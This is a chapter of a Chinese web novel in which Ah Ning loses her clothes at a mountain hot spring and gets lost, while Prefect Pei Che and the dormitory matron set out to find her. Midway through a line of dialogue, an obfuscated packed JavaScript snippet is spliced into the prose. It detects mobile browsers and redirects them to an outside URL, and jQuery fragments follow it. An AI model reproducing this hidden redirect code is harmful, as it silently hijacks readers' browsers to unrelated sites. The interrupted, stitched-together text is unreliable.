阿凝心头猛地一沉,慌乱不已。
环顾整座承恩汤小院,层层叠叠的密林,四下静谧,此刻无旁人踏入院落的动静,好好的衣衫怎会凭空消失?
她这才陡然想起,自己方才着急泡汤,竟然忽略了将小院子的门反锁。
野兽飞禽不会对人的干净衣服感兴趣,阿凝亦不信鬼怪,必然是有人趁着她睡着,将干净衣服盗走。至于原因,倒无从猜测。
正是隆冬腊月,日头已经西斜,从水里出来没一会儿,阿凝就觉得冷了。
她环抱双臂,站在空荡荡的竹篓边呆呆然,不知如何是好。
身体湿哒哒,从水里出来不消片刻,就冷得发抖,于是阿凝又赶紧回到池里泡着。
这时候,她实在期待能有旁的人在这个时候来泡汤,可以搭救她。然而偏偏今日不是女青衿们的休沐日,她又在汤池里泡了一时半刻,承恩汤的小院仍然是半个人影也无。
人长久泡在热水中,便会有些虚脱无力。
但是从汤池里出来,没有干燥的衣裳又很冷。若只是冷,还罢了,更让她为难的是,刚刚洗干净的衣裳没有晾干,穿在身上,紧紧贴着肌肤,女子的身形毕现,根本不能见人。
思前想后,唯有先忍受着长久泡汤的虚脱无力,再坚持一会儿,等到夜幕来临,勉强穿上还仅剩的这一套湿哒哒的衣衫,趁着月色掩映,四望无人时,悄悄下山,回到玉兰舍去。
为了能让刚刚濯洗过得衣服能稍微沥干些水分,阿凝将洗干净的衣裳挂在竹子上晾着控水。
但是直到夜幕降临,晾起来的衣衫还是在滴滴答答。
天穹已经黑下来,阿凝从汤池里起身,觉得脚底发软,头晕得厉害。
她支撑着身体勉强把湿哒哒的衣服套在身体上,拧了头发,用一根树枝将头发挽起别住,对着池中水光,照见自己绝美的面容,泡汤泡的面色泛红,一身裹着身形的衣衫让玲珑的曲线毕露。
若是这个样子出现在众人面前,阿凝必然从此无脸见人。
她焦虑着急,但是无济于事。
阿凝叹口气,已经倒霉至此,只能搏一把,祈祷她走回去的路上,因为夜深人精,没有人看见。
好在月光还算仁慈,满月高悬,一片银白皎洁,将山路照得尚算清晰,石阶铺就的山路在冬夜里冰凉结了一层霜,月色下反倒是清晰的。
阿凝撇下空空荡荡的竹篓,颤颤巍巍沿着山路迷迷瞪瞪地下山。
走出去没有多少步,山间夜风裹着腊月的寒霜,扑面而来,吹在阿凝浸透湿漉漉的衣料上,冰冷顺着皮肉钻进骨缝。
阿凝忍不住打了个接连的寒颤,浑身肌肤泛起一层细密的鸡皮疙瘩。
湿透的布帛沉甸甸黏在身上,每走一步,衣摆便淌下细碎水珠,顺着小腿落像脚面。
她这才发现自己赤脚踏在冰冷的石阶,竟然没有穿鞋。脚趾已经冻得发麻。
若是有人故意将她的干净衣衫偷走,只是为了为难捉弄她,那便真是恨极了她,居心极恶。
阿凝在想,到底是什么人,对她这么大的恨意,还是单独想作恶取乐,让她这样受罪。
更糟糕的事情还在后面。
山路曲折,好几个岔路,似乎是下山,然而沿途上去竟然是个上坡……
阿凝发现,她迷路了……
*
月桂姑姑去抱素道姑院的春香院与那边掌事的女冠打了一天牌,傍晚才回到勤学馆舍房。
耳房里有几个人已经在这里等候她多时了。
为首的是一个身着儒服的书生,虽然穿着常服,却很有些官气,坐在耳房正中,一男一女两个仆从在他身边垂手听候。
月桂心道还好今天没有听她们的劝吃酒,不然还真要坏事。
见她归来,为首的儒生上前问道:“敢问您是掌管舍房的月桂姑姑嘛?”
月桂见此儒生气度不俗,身姿挺拔,很有大户人家的自信,忙应承道:“正是小的。敢问阁下是?”
“在下是三清郡守裴澈。”
月桂姑姑一听原来是辖区的父母官,忙请三人落座,还没问事由,就忙着看茶。
“不必了,本官是来探望阿凝姑娘的。”裴澈简单说明来意:“阿凝姑娘是我交由陈门主的朋友,她入住此地以后,陈门主许我们来给她送些吃穿用度,顺便探望一下。”
阿凝的事情,一句两句给一个掌事说不明白,裴澈简明扼要,只求她去通告一声,唤阿凝出来。
“原来是太守大人,有失远迎,小的这就去唤阿凝姑娘来。”
月桂得令,去了玉兰舍,只见里头的两个个姑娘,柳清婉和马月娥正在说说笑笑。
阿凝的床铺上一切都整整齐齐,人也不知道哪里去了。
听闻她问阿凝的去处,二人皆是摇头不知。
“人腿上都长了脚,咱们哪知道她窜去了?”柳清婉一边梳头一边随口应道。
裴太守正在耳房等着,月桂姑姑有点着急:“方才在膳房里,你们可在一起?”
一旁胖胖的马月娥,正在试一件崭新的青衿,许是最近又胖了,她正对着镜子使劲儿勒腰带,徒劳地想生造出一道腰线来。
没有成功。她心情不好,又本就对月桂姑姑有些成见,她此时没好气地说道:
“姑姑这话问得好奇怪?我们只是住在一起,又不是粘在一起。我们房里四个人,只有我俩回来了,姑姑怎么只问阿凝一个?要问就该都问问。”
柳清婉笑了,她知道月桂平素就马虎随意,没有自约,此刻嘲讽道:“姑姑若是白日里都守着舍房,怎会不知道她几时出去,做什么去了。难道姑姑是去别的院子打牌吃酒,这时节才回来,比俺们还晚些……”
月桂姑姑是个急脾气,被抢白一通,面上挂不太住,也有些心虚,解释道:“我又不是讲堂的先生,你们在不在与我何干?自然是有人来寻阿凝,我才问问。”
柳清婉听出了月桂话头中的意味,给马月娥递过一个眼神,对月桂语气和善下来:“姑姑,我们真的不知道阿凝何处去了。她这几日常常在宗门各处游玩,许是贪玩些迷了路,也是有的。”
随后,柳清婉走近些,好奇地打探:“不知道到底是什么人找她?姑姑急成这样,莫不又是陈门主?”
“不是门主。”月桂姑姑不想多解释,其实她对阿凝的来历也很有些好奇和困惑,现在连裴太守都来寻她,实在是蹊跷得很。
但是当务之急还是赶紧把人找到。月桂没在搭话,匆匆返回耳房去了。
此刻已经入夜,因为月桂交代过舍房需要宵禁,阿凝从不在晚膳以后离开舍房。所以月桂也是兀自担心起来。
见月桂姑姑神色匆忙的下楼奔向耳房,柳清婉对马月桂道:“走,咱们看看去。”
两个人蹑着碎步,小心翼翼地紧跟了上去。
到了耳房门口,两人隔着门听到里头月桂姑姑低声说:“裴大人,阿凝姑娘此时不在舍房里,小的也不知道她
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17583367|205106||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
去了哪里……”
裴大人?
从门缝里往里头看,柳清婉正看到了裴澈的背影。
青衿大多都是世家子弟,没有不认识裴澈的。
“居然是他……”柳氏和马氏面面相觑,继续把耳蜗子靠在门缝上偷听。
裴澈闻听月桂如是说,慌得站起了身,心焦道:“这么晚了,阿凝怎么还没归来?夜里一个女子能去何处?难道是门主唤她过去了?”
月桂道:“不曾。黄门令大人提及过,门主正在闭关,明日才出关呢。”
裴澈脸色就不太好看了。
他来的匆忙,本打算看看阿凝,慰问几句,探听一下陈涤非的动向就走。阿凝夜里行踪不明,确实在他意料之外。
胖嬷嬷和安阳在裴澈身后也是不安起来,胖嬷嬷见多了风雨,知道此时要稳住裴大人的心神,便安慰道:“大人莫慌,姑娘也许就在回来路上了,我们等等罢。”
安阳讨厌逍遥派谱大,不拿着太守府的人当回事,恨不能现在就走,嘟嘟囔囔道:“实在不行,咱们把东西留下,让这位女冠转交不行么……”
裴澈本就心慌,愠色道:“糊涂东西,满口浑说。咱们干嘛来的,现在就要走?不见到姑娘,本官实难心安,若是只传递东西,何必本官亲自来!”
裴澈平日宽和待下,如此厉声对安阳斥责,看得出是真的心急。
又过了半个时辰,阿凝还是没有回来。几人脸色逐渐都不好了。
就在此时,月桂姑姑忽然想起来什么,拍着大腿说:“对了!对了!”
随后,她就开始在柜子的抽屉里翻找,果然承恩汤的钥匙不在原位。
钥匙柜子她才收拾了没几天,位置都是刚刚又变过,除了阿凝,她没告诉过别人承恩汤小院的钥匙放在何处。
再寻找她去洗澡时使用的竹篓,也不在了,她就更加确定是阿凝借去用了。
月桂姑姑对裴澈一行说:“阿凝姑娘八成是去承恩汤泡澡了,这时间没回来可能是在后山迷路了,我们要不一起去找找吧!”
裴澈脸色一白,往后不自觉退了一步,被安阳扶住。
阿凝若是有个三场两短,他去哪里再找一个有珍珠血的人,去换陈涤非给裴媛治病呢?
“快,快点去找!”
听见里头人站起来,要出来,门外的柳清婉和马月娥忙站起身来,躲到一侧。
裴澈带着二仆开门出来了,月桂跟在后面,迈出两步,又折返回去,取了灯笼和几个松树明子。夜里山路晦暗,有火光寻人容易些。
“怪我怪我,只给她粗略画了个地图。她说自己记性好,必然能原路返回,我才大意了。”月桂自责道,将松树明子一一递给三个人,乱了阵脚。
裴澈接过来,对月桂说:“现在要紧的是寻人,还是要告诉黄门令大人,知会陈门主,多些人去找,胜算大些。”
月桂并不想闹大,可是看裴太守不可反驳的威严语气,也只好从了,但是她可不想闹到陈涤非面前,被治个罪不是闹着玩,最好的结果是,陈涤非不知情的情况下,把人找回来,糊弄过去。
于是,月桂说:“黄门令大人随门主闭关去了,后山的上池斋不许任何人进入,这是本门最大的规矩。不若现在找几个勤学馆身强力壮有些腿脚功夫的年轻子弟,一起找寻,最是得当。”
裴澈想想这倒也不算坏,至少年轻子弟眼睛好,力气大,找起人来好使。
“那便依着姑姑吧。”